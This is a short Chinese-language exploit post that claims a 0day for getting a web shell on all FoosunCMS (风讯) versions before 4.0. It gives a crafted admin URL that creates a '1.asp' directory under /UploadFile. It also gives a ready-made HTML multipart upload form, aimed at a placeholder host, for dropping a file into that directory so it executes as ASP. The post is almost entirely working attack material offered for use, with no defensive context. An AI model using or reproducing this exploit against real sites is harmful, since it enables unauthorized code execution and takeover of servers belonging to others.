风讯 4.0之前所有版本通杀拿SHELL 0day

直接：/admin/SelectManageDir/FolderImageList.asp?Type=AddFolder&Path=/UploadFile/1.asp//&CurrPath=/UploadFile&ShowVirtualPath=

会自己跳转文件管理页面，新建1.asp文件夹

或者

EXP：

 <form name="FileForm" method="post" enctype="multipart/form-data" action=http://www.bbb.com/admin/SelectManageDir/FolderImageList.asp?Type=AddFolder&Path=/UploadFile/1.asp//&CurrPath=/UploadFile&ShowVirtualPath=> <input type="hidden" name="AutoReName" value="2"><br> <input type="hidden" name="Path" value="/UploadFile/1.asp"> <input type="file" size="20" name="File1"> <input type="hidden" name="FilesNum" value="1"> <input type="submit" id="BtnSubmit" name="Submit" value=" 确 定 "> <input type="reset" id="ResetForm" name="Submit3" value=" 重 填 "> </form>